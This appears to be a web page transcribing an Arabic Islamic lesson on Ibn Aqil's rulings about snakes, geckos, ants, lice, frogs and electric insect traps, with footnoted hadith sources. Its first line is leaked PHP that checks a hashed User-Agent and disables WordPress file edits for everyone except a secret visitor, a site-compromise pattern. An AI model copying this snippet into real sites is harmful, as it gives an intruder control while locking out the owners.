if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الدرس الثامن عشر - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الدرس الثامن عشر

الحمد لله رب العالمين، والصلاة والسلام على أشرف الأنبياء والمرسلين نبينا عليه أفضل الصلاة وأتم التسليم.

أما بعد، أيها الأخوة الأحبة، السلام عليكم ورحمة الله وبركاته، وحياكم الله في الدرس الثامن عشر من دروس شرح فصول الآداب ومكارم الأخلاق المشروعة للإمام «ابن عقيل الحنبلي» رحمه الله ووالديه والسامعين ووالديهم وجمعنا جميعًا في بحبوحة جنته مع النبيين الصديقين والشهداء والصالحين وحسن أولئك رفيقًا.

قال رحمه الله بعد أن انتهى من الكلام على التداوي بالحجامة والفصد والكي والتداوي بالمحرم والتداوي بالمباح، قال عقب ذلك: فصلٌ، وهذا الفصل السابع عشر.

فَصْلٌ

وَمَنْ رَأَى مِنَ الحَيَّاتِ شَيْئًا فِي مَنْزِلِهِ فَلْيُؤْذِنْهُ ثَلَاثًا، إِنْ بَدَا لَهُ بَعْدَ ذَلِكَ قَتَلَهُ، وَقَدْ قَالَ الإِمَامُ أَحْمَدُ رَضِيَ اللهُ عَنْهُ: إِنْ كَانَ ذُو الطُفْيَتَيْنِ وَالأَبْتَرُ قَتَلَهُ، وَلَمْ يُؤْذِنْهُ، -وَذُوْ الطُّفَّتَيْنِ: الَّذِيْ بِظَهْرِهِ خَطٌّ أَسْوَدٌ، وَالأَبْتَرُ: الغَلِيْظُ القَصِيْرُ الذَّنَبِ-، وَصِفَةُ القَوْلِ الَّذِيْ يُؤذِنُهُ: اِمْضِ بِسَلَامٍ، أَوِ اِذْهَبْ بِسَلَامٍ.

قوله رحمه الله: (وَمَنْ رَأَى مِنَ الحَيَّاتِ شَيْئًا فِي مَنْزِلِهِ -ولاحظ: قيْد في منزله- فَلْيُؤْذِنْهُ ثَلَاثًا) وسيأتي بيان كيف الإيذان، ثم بيّن إن بدا له بعد التعوذ بالله منه وإيذانه ثلاثًا بأن ينفذ بسلام وأن يغادر المكان فإنه يقتله، قال الإمام أحمد مستثنيًا بعض هذه الحيات المؤذيات اللاتي يُقتلن بدون إيذان (إِنْ كَانَ ذُو الطُفْيَتَيْنِ وَالأَبْتَرُ قَتَلَهُ، وَلَمْ يُؤْذِنْهُ) ثم فسّر ابن عقيل رحمه الله ذلك بقوله: (وَذُوْ الطُّفَّتَيْنِ: الَّذِيْ بِظَهْرِهِ خَطٌّ أَسْوَدٌ) وقيل خطان، وقد ورد عن أم المؤمنين عائشة رضي الله عنها أن النبي صلى الله عليه وسلم قال: «اقْتُلُوا ذَا الطُّفْيَتَيْنِ، فإنَّه يَلْتَمِسُ البَصَرَ، ويُصِيبُ الحَبَلَ»[1] أي يُصيب العين، فإذا رآه الإنسان ذهب بصـره وهذا من قوة السمية فيه، وإذا رأته الحامل سقط حملها، نسأل الله السلامة والعافية من أذية هذا النوع من الحيات، والحديث في الصحيحين، ومعنى ويصيب الحبل: أن المرأة إذا رأته أسقطت حملها، إذن هذا الفصل في بيان التعامل مع هذه الحيات.

قوله رحمه الله: (وَمَنْ رَأَى مِنَ الحَيَّاتِ شَيْئًا فِي مَنْزِلِهِ فَلْيُؤْذِنْهُ ثَلَاثًا، إِنْ بَدَا لَهُ بَعْدَ ذَلِكَ قَتَلَهُ) ثم ذكر رحمه الله المستثنى من ذلك وصفة الإيذان أن يقول له: امض بسلام أو اذهب بسلام، والحيات جمع حية، والحية تطلق على الذكر والأنثى وهي أنواع، وبعضها أخطر من بعض، قول المؤلف: (فِي مَنْزِلِهِ) يدل على أن الإنذار خاص بالحيات في المنازل، وأما في البر فلا تؤذن بل تقتل مباشرة  لكن هل معنى ذلك أننا نتتبعها في البراري ونقتلها، نقول: لم نؤمر بذلك لكن إذا أقبلت على أُناس قاعدين أو خافوا من ضررها وشرها قتلوها ولا يحتاج حينئذٍ إلى إيذان، ومثلها ذوات السموم من العقارب ونحوها، نص هنا على أن الإيذان إنما يكون إذا كانت في المنازل، قال: (ثَلَاثًا) هل المراد أن تؤذن ثلاث مرات أو ثلاثة أيام؟ يحتمل هذا ويحتمل هذا، قال ابن مفلح في الآداب: يُسن أن يقول للحية التي في البيوت ثلاث مرات، ذكره غير واحد، ولفظه في الفصول يعني هذا الكتاب لابن عقيل: ثلاثًا، ولفظة في المجرد ثلاثة أيام، اذهب بسلامٍ لا تؤذنا، والروايات في صحيح الإمام مسلم مختلفة، ورد في حديث أبي سعيد رضي الله عنه أن النبي صلى الله عليه وسلم قال: «إنَّ لِبيوتِكُم عُمَّارًا فحرِّجوا عليهِنَّ ثلاثًا، فإن بدا لكُم بعدَ ذلكَ منهنَّ شيءٌ فاقتُلوهُ»[2] [رواه الإمام مسلم] وفي رواية عند مسلم: «فحرِّجوا عليهِنَّ ثلاثةَ أيَّامٍ» وهذا هو الأقرب أنها تُحرج وتُنذر ويُطلب منها أن تنفذ بسلام وأن تترك المكان، فإذا مضت ثلاثة أيام ورآها بعد ذلك قتلها، وحينئذٍ لا يصيبه ضررها ولا شرها ولا أذيتها، جاء في الصحيح أن رجلًا من الصحابة رضي الله عنه من الأنصار عاد إلى بيته فوجد امرأته خارج البيت، فقال: ما الذي أخرجك؟ قالت: انظر، فنظر إلى حية عظيمة فابتدرها بحجرٍ فقتلها، قال الراوي: فلا نعلم أيهما أسرع موتًا[3]، يعني مات الصحابي وماتت الحية ولما علم صلى الله عليه وسلم بذلك أخبرهم أن في هذه البيوت عمارًا وأنه لا يسوغ لنا أن نقتلها ابتداء وإنما ننذرها، فإذا أنذرناها ثلاثًا إما أنها تنفذ بسلام وهذا هو الغالب وتخرج وتترك المكان وإما أنها تقتل ولا تضر حينئذٍ، وذهب المازني أن الإنذار خاص بحيات المدينة، قال: هذا خاص بما وردت فيه القصة والحديث، وذكر هذا في كتابه المعلم بشـرح مسلم، ويستدل بعموم حديث ابن عمر رضي الله عنهما أن النبي صلى الله عليه وسلم قال: «اقْتُلُوا الحَيّاتِ»[4] ولم يذكر الإنذار، ويستدل بحديث: «خمسٌ فواسقُ يُقتَلْنَ في الحِلِّ والحَرَمِ»[5]، وقد جاء في بعض الروايات ذكر الحية وذهب بعض أهل العلم إلى أن الإنذار عام لكل الحيات في كل البيوت في أي بلد، وهذا أظهر، إذن ينبغي لمن رأى حية في بيته أن يُنذرها ثلاثًا وأن يحذرها وأن يقول لها: انفذي بسلام، فإن رآها بعد ذلك قتلها ولا حرج عليه لا من ناحية شرعية ولا ضرر يصيبه من قتلها بعد الإنذار، وأما قتلها بدون إنذار، فإنه مخالف للسنة من ناحية ولا يسلم من أذيتها كما حصل للصحابي رضي الله عنه الذي قتل وبادر بالقتل ومات معها حتى قال الراوي: لا ندري أيهما أسبق موتًا.

قال رحمه الله عقب ذلك:

فَصْلٌ

وَيَجُوْزُ قَتْلُ الأَوْزَاغِ، وَلَا يَجُوْزُ قَتْلُ النَّمْلِ، وَلَا تَخْرِيْبُ أَجْحُرَتِهِنَّ، وَيُكْرَهُ قَتْلُ القَمْلِ بِالنَّارِ.

هذا الفصل فيه جملة أيضًا من ما يتعلق بقتل هذه الحشرات، بدأها بقوله: (فَصْلٌ، وَيَجُوْزُ قَتْلُ الأَوْزَاغِ) الأوزاغ: جمع وزغ، وهي حشرة معروفة سامة نجسة ضارة، والأولى أن يقول رحمه الله بدل (وَيَجُوْزُ) ويستحب، إذ أقل ما يمكن أن يُقال في قتل الأوزاغ الاستحباب، أما القول بالجواز فقط فهو ضعيفٌ، إذن الأولى أن يقول رحمه الله: (وَيُستِحبُ قَتْلُ الأَوْزَاغِ) لما ثبت في الصحيحين من حديث أم شريكٍ رضي الله عنها، ومن حديث سعد بن أبي وقاس رضي الله عنه عند مسلم أن النبي صلى الله عليه وسلم «أَمَرَ بقَتْلِ الوَزَغِ»[6]، وعن أبي هريرة رضي الله عنه قال: قال رسول الله صلى الله عليه وسلم: «مَن قَتَلَ وزَغَةً في أوَّلِ ضَرْبَةٍ فَلَهُ كَذا وكَذا حَسَنَةً، ومَن قَتَلَها في الضَّرْبَةِ الثَّانِيَةِ فَلَهُ كَذا وكَذا حَسَنَةً، لِدُونِ الأُولَى، وإنْ قَتَلَها في الضَّرْبَةِ الثَّالِثَةِ فَلَهُ كَذا وكَذا حَسَنَةً، لِدُونِ الثَّانِيَةِ»[7]، وفي رواية: «مَن قَتَلَ وزَغًا في أوَّلِ ضَرْبَةٍ كُتِبَتْ له مِئَةُ حَسَنَةٍ، وفي الثَّانِيَةِ دُونَ ذلكَ، وفي الثَّالِثَةِ دُونَ ذلكَ»[8] [رواه الإمام مسلم] وفي رواية لمسلم: «في أوَّلِ ضَرْبَةٍ سَبْعُونَ حَسَنَةً» ولا تنافي بين المائة وبين السبعين، فالمائة فيها زيادة ويؤخذ بالأكثر فالأكثر من أخباره صلى الله عليه وسلم في مثل هذا، فنقول: من قتل وزغة في الضربة الأولى فله مائة حسنة وكل هذا ترغيب وفي قتل الأوزاغ والحرص على قتلها في أول ضربة والقوة في ذلك، إذن هذا كله ترغيب في قتلها وأيضًا إصابتها في أول مرة، فإن فاتت الأولى فلا أقل من الثانية، فإن فاتت الثانية فلا أقل من الثالثة، وعلى كلٍ هذا ورد في تحديد الأجر والثواب في قتلها إلى ثلاث ضربات، فإن زاد فإنه يقتلها لكن لم يرد في ذلك ما يدل على الثواب والحسنات والأجور لكن أصل قتلها مشروعٌ وذلك؛ لأنها من ذوات السموم ولهذا تبزق في الشراب، اللبن، الطعام، وبزقها سام بل قاتل وهو قذر إضافة لكونه سام، وفي صحيح البخاري أنه صلى الله عليه وسلم «أَمَرَ بقَتْلِ الوَزَغِ، وقالَ: كانَ يَنْفُخُ علَى إبْرَاهِيمَ عَلَيْهِ السَّلَامِ»[9]، هذا أيضًا من دناءة هذه الحشرة وأذيتها وسُميتها، أنها أيضًا كانت تضرم النار على إبراهيم خليل الرحمن، ولهذا قتلها متأكدٌ من عدة وجوه، من جهة نجاستها وسُميتها ومن جهة أنها شيطان، عدوٌ لدود، يضرم الناس وينفخ فيها لعلها تشتعل على خليل الرحمن.

قوله رحمه الله: (وَلَا يَجُوْزُ قَتْلُ النَّمْلِ، وَلَا تَخْرِيْبُ أَجْحُرَتِهِنَّ) ورد في الحديث: «أن نبيًا من أنبياء الله قرصته نملة، فحرّق قرية النمل التي حوله، فقيل له: فهلا نملة واحدة»[10] [الحديث متفق عليه] يعني جاء في الحديث ما يدل على جواز القتل؛ لأنها آذت لكن تحريق قرية النمل وبيوت النمل وأذية النمل الذي لم يؤذي، نقول: الأصل منعه، وجاء في الحديث الآخر أنه صلى الله عليه وسلم «نهَى عن قتلِ أربعٍ مِن الدَّوابِّ: النَّملةُ، والنَّحلةُ، والهُدهدُ، والصُّـرَدُ»[11] [رواه الإمام أحمد وأبو داود وإسناده صحيح] وجاء في بعض الروايات إضافة الضفدع مع الأربع فتصير خمسًا، فلا يجوز قتل النمل إلا إذا حصل منه أذية، وعندنا الآن نملٌ مؤذٍ سام وهو النمل الأسود، أكبر من النملة الصغيرة وأكثر أذية بل هو مؤذٍ، ولهذا مثل هذا يُقتل لكن النمل المعتاد الذر الصغير الذي لا يؤذي هذا لا يُقتل؛ لأن الأصل فيه عدم الإيذاء لكن قد يؤذي، ولهذا نقول: إن النمل إذا آذى قُتل، قال ابن مفلح رحمه الله: (وَيُكْرَهُ قَتْلُ النَّمْلِ إلَّا مِنْ أَذِيَّةٍ شَدِيدَةٍ فَإِنَّهُ يَجُوزُ قَتْلُهُنَّ وَقَتْلُ الْقُمَّلِ بِغَيْرِ النَّارِ وَيُكْرَهُ قَتْلُهُمَا بِالنَّارِ) أي النمل والقمل، يقول: يُقتلن، القمل يُقتل على الإطلاق والنمل إذا آذى، وقتلهن بغير النار إذ النار لا يعذب بها إلا رب النار، ومن أذية النمل المعروفة، النمل غير الأسود هذا الذي يقرص ويؤذي، من أذية النمل أن يحفر في البيوتات ويحفر في البلاط ويُخرج الرمل ويحفر في الأشجار ويُخرج التراب، فهذه أذية تبيح قتله، إذن من أذية النمل: حفره تحت البلاط أو تحت الشجر وأذية بعض أنواعه بالقرص فحينئذٍ لا بأس بقتله كما نص على ذلك الإمام أحمد رحمه الله قياسًا على الفواسق، فإذا كان الشارع قد نص على قتل خمس فواسق في الحل والحرم للأذية، فالنمل هذا المؤذي مثلها في الأذية بل ربما في القرص مثلها ويقاربها فقرصته مؤلمة وضارة وربما أن فيها سم، نقول: ولأن ابن آدم إذا صال ولم يندفع شره إلا بالقتل جاز قتله، فإذا جاز هذا في الآدمي المحترم فالنمل من باب أولى، لكن إن أمكن دفع أذاه بدون قتل فلا يُقتل، جاء عن إبراهيم النخعي رحمه الله قوله: (إذا آذاك النمل فاقتله)، وجاء عن طاووس بن كيسان رحمه الله قوله: (إنا لنغرق النمل بالماء) [رواه ابن أبي شيبة] ويعني بذلك: إذا آذى، أما إذا لم يؤذي فالأصل تركه، إذن القاعدة في النمل، نقول: إن آذى قُتل وإلا فلا، وكيف يُقتل؟ يُقتل بما تيسر من سم وماء كما هنا إذا كان غرقه بالماء يقتله فإنه حُكي عن طاووس بن كيسان رحمه الله.

قوله: (وَيُكْرَهُ قَتْلُ القَمْلِ بِالنَّارِ) كان الأولى أيضًا أن يقول هنا: ويَحرُم، إذ الأصل في التحريق بالنار أنه لرب النار جل شأنه وتقدس اسمه فلا يُقال فيه بالكراهة مع أن النهي لا صارف له من التحريم إلى الكراهة، والقمل: حشرة تتولد من الوسخ والعرق، ولونها غالبًا لون الشعر الذي تتولد فيه وأنثاه أكبر من ذكره، ولا يجوز قتله بالنار وهذا يدل على جواز قتله لكنه نهى الشارع عن قتله بالنار وغيره من الحشرات لقوله صلى الله عليه وسلم: «إنَّ النَّارَ لا يُعَذِّبُ بهَا إلَّا اللهُ»[12] [رواه البخاري] ويُلحق بالقمل بقية الحشرات كالبعوض فلا يُقتل بالنار، القمل اليوم له دواء ويوضع في الشعر من أنواع المطهرات والمنظفات والشامبوهات، وقد يستغرب بعض الناس أنه يصاب به الناس اليوم مع وجود منظفات ومطهرات ومعقمات والعناية التامة، لكن مع ذلك يُبتلى به بعض الناس لا سيما في المدارس، أحيانًا يكون الطالب أو الطالبة فيها هذه القملة فتنتقل، ولهذا يحتاج إلى مكافحة إذا ابتلي به الطفل، إن كان ذكرًا فربما حلق شعره أول ما يساعد على زوال المكان الذي يتكاثر فيه، قد جاء في حديث كعب بن عجرة رضي الله عنه في الصحيحين: «أنه حُمل إلى النبي صلى الله عليه وسلم والقمل يتناثر على وجهه، فقال صلى الله عليه وسلم: ما كنت أظن أن الجهد يبلغ بك ما أرى ثم أمره بحلق شعره وهو محرم»[13]؛ لأنه ما يزيل هذا القمل الذي وصل إنه يمشي على وجهه وجسمه، معناه أن الشعر متكاثر فيه لدرجة عالية، لا يزيله هنا مجرد غُسل واغتسال ومنظفات، فإذا كان رجلًا أو ذكرًا، نقول: احلق الشعر وعالج البشرة، قد يبقى في فروة الشعر شيءٌ فيُعالج بالمنظفات، أما الفتيات والبنات فإن حلقه غير ممكن بل لا يجوز حلق شعر المرأة، قال النبي صلى الله عليه وسلم: «ليس على المرأة حَلْقٌ؛ إنَّما على المرأة التَّقصيرُ»[14] حتى في النسك، فيحرم عليها الحلق ويحرم عليها التقصير على هيئة تقصير الولد كما سبق بيانه، إذن نقول: إذا كثُر وتكاثر فحلقه بالنسبة للذكور ممكن وجزء كبير من العلاج، والنبي صلى الله عليه وسلم أرشد كعبًا وهو محرم ومعروف أن المحرم لا يزيل شعره ولا يأخذ من شعره ولا ظفره، ومع ذلك أمره صلى الله عليه وسلم أن يحلق وأن يفدي ولا إثم عليه لأنه معذور لكن الفدية واجبة وهي فدية الأذى المنصوص عليها في كلام ربنا: {فَمَنْ كَانَ مِنْكُمْ مَرِيضًا أَوْ بِهِ أَذًى مِنْ رَأْسِهِ فَفِدْيَةٌ مِنْ صِيَامٍ أَوْ صَدَقَةٍ أَوْ نُسُكٍ} [البقرة: ١٩٦] أمره صلى الله عليه وسلم أن يحلق شعره وأن يذبح شاةً أو يصوم ثلاثة أيام أو يُطعم ستة مساكين، ولإطعام ستة مساكين كل مسكين كيلًا ونصف، يعني تسعة كيلوات، وهذه فدية من به أذىً من رأسه فحلق أو قلم أظفارًا أو لبس مخيطًا أو غطى رأسه وهو ذكر أو تطيب وهي فدية الأذى المنصوص عليها في الآية وألحق أهل العلم بقية هذه المحظورات بها بجامع الترفه بإزالة الشعور والأظفار والتطيب ولبس المخيط وتغطية الرأس.

قال رحمه الله: (وَلَا يَحِلُّ قَتْلُ الضَفَادِعِ؛ لِأَنَّ النَّبِيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ نَهَى عَنْ قَتْلِ الضِّفْدَعِ) الضفدع: حيوان برمائي يعيش في المستنقعات ومياه السيول، وقد جاء في الحديث، في حديث عبدالرحمن بن عثمان القرظي: « أن طبيبًا سأل النَّبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ عن ضِفْدَعٍ يجعَلُها في دواء، فنهاه النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ عن قَتْلِها»[15] [الحديث أخرجه الإمام أحمد وأبو داود والنسائي والحاكم بسندٍ صحيح، وصححه الحاكم ووافقه الذهبي وكذلك الألباني] فهو حديث صحيح، ورد عند البيهقي بسند عن عبدالله بن عمرو رضي الله عنهما قال: «لا تقتُلوا الضَّفادِعَ ، فإنَّ نَقيقَها تَسبيحٌ»[16] [قال البيهقي: هذا موقوف وصحيح]، بعض المحدثين من المتأخرين يُنكر صحة هذا الحديث ويُنكر التعليل، نقول: سبحان الله، أما الأثر فصحيح، وأما التعليل فقد جاء عن عبدالله وهو أثر موقوف عليه وهو صحيح، العلة بأن كل من في الكون يسبح لكن نص على هذا، وعلى كلٍ نقول: الحديث الأول صحيح وهو أنه صلى الله عليه وسلم نهى عن قتل الضفدع، وهل النهي عن قتلها بسبب سؤال الطبيب التداوي بها أو لهذا السبب وهو أن نقيقها تسبيح؟ المقصود أنها لا تُقتل، ونهي الشارع عن قتلها يدل على أنها لا تؤكل أيضًا خلافًا لمن قال بأكلها وهو قول عند المالكية لكنه قولٌ ضعيف من حيث الدليل، هم يحتجون بأنها من حيوان البحر والأصل في حيوان البحر الحل، لكنا نقول: سبحان الله، هي حيوان يعيش في البر وفي البحر وفي الماء، ولهذا هو يسمى حيوان برمائي وأكثر ما يعيش في المستنقعات، دويبة صغيرة ناعمة الجلد، ملمسها ناعم جدًا، قدماها أكبر من يديها، لكنا نقول: أكلها فيها شيء من القذارة والمستقذرات، ولهذا تدخل في قاعدة المستقذر حتى لو كانت تعيش في الماء فإنها لا تؤكل على الصحيح، بل هذا الحديث وهو النهي عن قتلها يدل على أنها لا تؤكل.

بقي عندنا ما اشتهر عند الناس اليوم من القتل بالمصيدة، سواءً كانت الكهربائية التي تُعلق في الأسقف أو نحوها مما يُضرب بالمضراب وفيه شيءٌ من الكهرباء، هل هذا يُعد من النار فيُنهى عنه أو ليس من النار؟ الصحيح أنه ليس من النار فحينئذٍ لا بأس بوضع المصيدة التي تصيد الذباب والبق والبعوض ونحوه من الحشـرات المؤذية، فلا حرج من استعمال آلات الصعق الكهربائية المعروفة اليوم في قتل الحشرات والتخلص منها لعدة وجوه:

أولًا: المحذور هو القتل بالنار، لحديث: «إنَّ النَّارَ لا يُعَذِّبُ بهَا إلَّا اللهُ»[17] [رواه البخاري]، ورأى النبي صلى الله عليه وسلم قرية قد حرقها بعض الصحابة بالنار، فقال: «إنَّه لا ينبَغي أن يُعذِّبَ بالنَّارِ إلَّا ربُّ النَّارِ»[18] [رواه أبو داود بسندٍ صحيح، صححه النووي في رياض الصالحين وكذلك الألباني في السلسلة الصحيحة]، وأما الصعق الكهربائي فإنه يختلف عن النار؛ لأن القتل بالكهرباء عبارة عن تفريغ شحنات لتدمير الخلايا وتكسير الدم بشكل سريع، وإذا زادت قوتها إلى حد كبير أحدثت حرارة تظهر على المقتول بتغير لونه وتفحمه فظن بعض الناس أن هذا حرق بالنار، نقول: ليس حرقًا بالنار، فيبدو كأنه أُحرق بالنار ولكن الواقع أنها الكهرباء وليست النار، ولأن الحاجة الظاهرة في هذه الوسيلة النافعة في قتل الحشرات المؤذية بينة وربما هي فتح للناس؛ لأن هذه الحشرات آذت الناس، لا سيما البعوض في أيام الصيف ونحوه يؤذي بتكاثره ويصعب على الناس التخلص منه إلا بطريقين غالبًا عصريين، الطريق الأول: هذه المصيدة، الطريق الثاني: وضع دواء إذا شمه البعوض يموت أو يهرب لكن هذا الدواء له ضرره على الإنسان، ولهذا المصيدة لا ضرر على الآدمي بها بينما تلك تضر بعض الناس لا سيما الذين عندهم أمراض صدرية ونحوها فيتجنبون وضعها وأحسن يعني إذا أراد الإنسان ولا بد منها أن يضعها في غرفة النوم قبل النوم لتقتل ما في الغرفة من حشرات ثم يطفيها قبل أن يدخل أو ينام في الغرفة، فلا تكون موجودة في الغرفة أثناء نومه؛ فإنها تبعث روائح تقتل هذه الحشرات وتضره لكن المصيدة هذه لا تضر الآدميين وتقتلها وليست من النار، وقد أفتى بذلك اللجنة الدائمة للإفتاء وكذلك الشيخ محمد بن صالح العثيمين ولهم تعليلات جيدة في بيان أن هذا ليس من النار، الشيخ محمد رحمه الله يقول: إنها ليست من النار ولهذا لو وضعت ورقة على هذه المصيدة لم تحترق، لو كانت نارًا لاحترقت والنار تقتل بدون إحراق، ولهذا إذا أصاب الإنسان المس الكهربائي العالي يقتله، هل يحترق؟ ما يحترق، لكن يقتله فورًا، يقتل الآدمي وربما يعني في ثواني معدودة لكن ليس هذا نتيجة حرق.

لعلنا نكتفي بهذا القدر في درس اليوم وقد انتهينا من فصلين: السابع عشر والثامن عشـر ولم يبقى إلا أربعة فصول، لعلنا إن شاء الله نأتي عليهن في الدرسين القادمين، فلعلنا إن شاء الله ننهي هذا الكتاب في الدرس العشرين.

أسأل الله بمنه وكرمه وجوده وإحسانه أن يجود علينا جميعًا بالتوفيق والتسديد، وأن يجعل ما نسمعه ونتعلمه حجة لنا لا علينا إن ربي قريبٌ مجيبٌ ودود.

سائل يسأل: حلق المرأة للشعر؟

الجواب: ما يجوز، إلا في الضرورة مثل لو استعملت الكيماوي لمرض السرطان، نسأل الله أن يشفي مرضى المسلمين وتساقط شعرها، فلا حرج لأنها ما قصدت حلقه لكنه تداوت وتعالجت فسقط، لكن أن تعمد المرأة إلى حلق، في الحديث: «ليس على النِّساءِ حَلْقٌ؛ إنَّما على النِّساءِ التَّقصيرُ»[19]، فإذا حلقت شعرها تشبهت بالرجل فحينئذٍ دخلت في الوعيد واللعن، «لعن النبي صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ المتشبهاتُ من النساءِ بالرجالِ»[20] حتى القص الذي يشبه قصة الولد، يُسمى بقصة الولد، نقول: هذا محرم لأنه تقصير وتشبه.

وفق الله الجميع، وصلى الله وسلم على نبينا محمد، والسلام عليكم ورحمة الله وبركاته.

¯¯¯


[1] أخرجه البخاري (3308)، ومسلم (2232) باختلاف يسير.

[2] أخرجه مسلم (2236)، وأبو داود (5259).

[3] نفس الحديث السابق في صحيح مسلم.

[4] أخرجه مسلم (2233).

[5] الحديث بطوله أخرجه مسلم في صحيحه (1198) بلفظ: «خَمْسٌ فَوَاسِقُ، يُقْتَلْنَ في الحِلِّ وَالْحَرَمِ: الحَيَّةُ، وَالْغُرَابُ الأبْقَعُ، وَالْفَأْرَةُ، وَالْكَلْبُ العَقُورُ، وَالْحُدَيَّا».

[6] أخرجه البخاري (3359)، ومسلم (2238).

[7] أخرجه مسلم (2240).

[8] أخرجه مسلم (2240).

[9] أخرجه البخاري (3359).

[10] أخرجه البخاري  (3019)عن أبي هريرة رَضِيَ اللهُ عَنْهُ قال: «سَمِعْتُ رَسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، يقولُ: قَرَصَتْ نَمْلَةٌ نَبِيًّا مِنَ الأنْبِيَاءِ، فأمَرَ بقَرْيَةِ النَّمْلِ، فَأُحْرِقَتْ، فأوْحَى اللهُ إلَيْهِ: أنْ قَرَصَتْكَ نَمْلَةٌ أحْرَقْتَ أُمَّةً مِنَ الأُمَمِ تُسَبِّحُ».

[11] أخرجه أبو داود (5267) واللفظ له، وابن ماجه (3224)، وأحمد (3066)، والحديث صححه الألباني في صحيح الترغيب (2990).

[12] أخرجه البخاري (3016).

[13] أخرجه البخاري (4190) عن كعب بن عجرة رَضِيَ اللهُ عَنْهُ قال: «أَتَى عَلَيَّ النبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ زَمَنَ الحُدَيْبِيَةِ، وأنا أُوقِدُ تَحْتَ بُرْمَةٍ، والقَمْلُ يَتَناثَرُ عن رَأْسِي، فقالَ: أيُؤْذِيكَ هَوامُّكَ؟ قُلتُ: نَعَمْ، قالَ: فاحْلِقْ، وصُمْ ثَلاثَةَ أيَّامٍ، أوْ أطْعِمْ سِتَّةً، أوِ انْسُكْ نَسِيكَةً قالَ أيُّوبُ: لا أدْرِي بأَيَّتِهِنَّ بَدَأَ».

[14] أخرجه أبو داود (1984)، والدارمي (1905) بلفظ: «ليس على النِّساءِ حَلْقٌ؛ إنَّما على النِّساءِ التَّقصيرُ»، والحديث صححه الألباني في صحيح الجامع (5403).

[15] أخرجه أبو داود (5269)، وصححه الألباني في صحيح أبي داود (3871).

[16] أخرجه البيهقي في السنن الكبرى (9/318) وقال: الحديث موقوف وإسناده صحيح، وصححه أيضًا ابن الملقن في البدر المنير (6/346) ولكن ضعفه الألباني في ضعيف الجامع (6252) بلفظ: «لا تَقْتُلُوا الضفادعَ، فإنَّ نَقِيقَهُنَّ تسبيحٌ».

[17] أخرجه البخاري (3016).

[18] أخرجه أبو داود (2675)، وأحمد (3835)، والحديث صحح إسناده الألباني في صحيح الترغيب (2268).

[19] أخرجه أبو داود (1984)، والدارمي (1905)، والحديث صححه الألباني في صحيح الجامع (5403).

[20] أخرجه البخاري (5885).